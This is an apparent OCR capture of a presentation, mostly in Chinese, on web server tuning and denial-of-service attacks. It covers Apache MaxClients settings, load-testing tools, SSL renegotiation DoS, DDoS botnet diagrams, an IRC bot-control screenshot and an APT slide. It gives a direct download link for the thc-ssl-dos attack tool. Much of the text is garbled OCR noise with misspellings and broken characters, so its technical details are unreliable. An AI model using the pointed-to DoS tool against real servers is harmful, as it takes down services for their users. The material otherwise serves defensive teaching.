For threaded and hybrid servers (.g. beos Or worker) MaxClients resfricts the total number of threads that will be available to serve clients. The default value for

beos i5 50. For hybrid MPMs the default value is 16 (ServerLimit) multiplied by the value of 25 (ThreadsFPerchild). Therefore, to increase MaxClients to a value
that requires more than 16 processes, you must also raise ServerLimit.

(le., prefork), MaxClients translates into the maximum number of child processes that will be launched to serve requests. The default
increase it, you must also raise ServerLimit.

Stark Technology Inc.
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i Sy \‘ - ;-'r-' — ‘r‘l ) '-" =X

e ab (Apache Benchmark)
— http://httpd.apache.org/

e JMeter
— http://jakarta.apache.org/imeter/
e Siege
— http://www.joedog.org/siege/
* Microsoft Web Application Stress Tool

— http://www.microsoft.com/technet/archive/itsolutions/i
ntranet/downloads/webstres.mspx

e .... Many tools
— http://lwww.softwareqgatest.com/gatwebl1.html
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e A FZITH XK HP A UTiE7SSL
Handshake
o RITH AT A YT (FSSLEL R L He A B

.
—

REFDB ~ BIEPRAE
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SSL Renegotlat cJ

o SSL{t& A 53 K
— SSLisértsix (SSL Record Protocol )

L&':
% (40TCP) 21 » 4 % & 1k fd Sl 32
~F R

— SSLi#% < #23% (SSL Handshake Protocol) : v % * & SSLzeék
Bz b oo A AF uﬁm&%lﬁﬁgﬂ}%-ﬁpw W AMEEFEL >R
.’_’éﬂ\f@ﬁa % @;ﬁ/, SRS R REE o

o nif{FnegotiationshEAzy ¢ 0 € 4L 1 SLCPUHFE R o
A H R Brehe piRWeb Serverziﬁ SSL
negotiation » & P %k StCPUB * @ & 72 & & JR5% -

. %fyl}lfi :

http://www.thc.org/thc-ssl-dos/thc-ssl-dos-1.4.tar.gz

¥ ja.m@ﬁaq]f%
B~ b

~
—_—
N
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Attacker N
(7 FE_C&C ¥ w)

3 /@ Zombie Master
(Handler)

ommand

‘ ‘ j j\, j‘ ;f‘ ‘Zomble Slave
‘ \ \ ‘ (Agent)
DoS Attack Il RN ’e2="
=|[=|[==
? % Z—_? Victim
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il NN Q p § > .

oo

N
§ > § y Zombie Slave
S S (Agent)

Fr

Reflector




Zombie Master
@ (Handler)
‘Zombie Slave
s (Agent)

A,
iy
@/g

4
> -
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==
== Victim
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DDoS IRC Base

Terminal r g

nge to the control channel, Tuype help for help information, —_ 7~
Broot : 1 Laneou tings
Broot yes L& ..
[doot mo - Deny a request — Trl n Ity
Broot nick - Change friendly name, nick

duilmer account on

@Broot> Tr q . all accounts connected,, ., K " ht
oot in: C n I g
oot i K Y 11 ith =eryer

[dront

= | +y mznl by root
rined Sbitlbee
mode/#bit1b +y lintux! by root
gilver_chai haz joined #bitlbee
shitlhes
Broot | [Builmer | [#lintux! [+mzn =ilver_chai
I' Irszi: #hitlbee: Total of 5 nick vz, 0 halfops, 2 woices,
hiormal
22+40] [Buwilmer] [2:#bitlbeei+nst)]
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[ 127.0.0.1:8080/wo.bug?he X

&« C [ 127.0.0.1:8080/wo.bug?host=data:text/htmi,1 w K @ K

chek-chek
Hey, Super :1.5795025324377303: Mario!

lﬁﬂem:nts Elﬂﬂn.um @Nﬂwnﬂ: Sources GTI'D:I‘I! i Profies leﬁml £

.rl..:nsa‘e JavaScript attempt to access frame -r‘ith URL httn:f.r'll'?-B-B.l:EBEBIW.hquhnst-datF:textshtml,l from frame
with URL data:text/html,1. The frame requesting access has a protocol of '', the frame being accessed has a
protocel of "http'. Protocols must match.

@ > Unsate JavaScript attempt to access frame with URL http://127.8.8.1:8888/wo.bugthost=data:text/html,1 from Frame
with URL data:text/html,l. The frame requesting access has a protocol of "', the frame being accessed has a
protecel of "http'. Protocols must match.

» Unsafe JavaScript attempt to access frame with URL b 2 7.8.8.1: X 2h =datg:text/htm from frame
with URL data:text/html,1. The frame requesting access has a protocol of '', the frame being accessed has a
protocol of "http®. Protocols must match.

9 »Unsafe JavaScript attempt to access frame with URL http://127.8.8.1:8888/wo.bug?hostedata:text/html,1 from frame
with URL data:text/html,1. The frame requesting access has a protocol of '', the frame being accessed has a
protocel of “http'. Protocols must match.

frame

» Unsafe JavaScript attempt to access frame with URL http://127.8.8.1:80880/wo.bug?host=data:text/html.1 From
with URL dataitext/html,l1. The frame requesting access has a protocol of '', the frame being accessed has a
protocol of "http'. Protocols must match.

B = Q O <topframe> ¥ <page context> v ) | Errors  Wiarnings Logs
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3. T3k 4% 83 A a9 42 & 4%

=235 % &

|

-

4. TEL 3 & 6942 A 8% 44T
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| 1. TREFHA
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| oEm [
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| ’ 4 THRIRERH. ]
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China
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ELS Electronic Lodgment Service

Starting Service

Information: HandiTax 20711 |E|

& Sending Us]  Toomany Failed login atternpts, account LOCKED

Clozing Connection Lancel Detailz

P Sending

Tranzferring

Starting WP connection
Sending Lser [d
Sending Paszword

Connected
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1R » PRIEER: O05E RS FRAE 30 F] Facebook -

ATEZER - IFRMER ST R EZ| 7T IRR] - 105 £ iR HE -
sARERA T AR A -

AL RIE AR SRR AR -
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« APT, Advanced Persistent Threat — H"‘
[ ﬂ’i’f ﬁx?ﬁiﬂv”ﬁ A £ ﬁﬁﬂimnﬁt a‘ﬂﬁ»
oo it HTEG RN ER S FE

o FEV P R E «%J& TR R

PP AR S R RS 0 2 b R s

p
P\ ? ’Eal_ h: TR 1Y TFJ—LELE_
s APMEENF 2P S ETERE T8 finEF

A7 fo AT ¥t
o B EEHHE I (R L AR FNTH)

TERY 'Fﬁj%f 34 e L BT L e o BACRE v g iEP \
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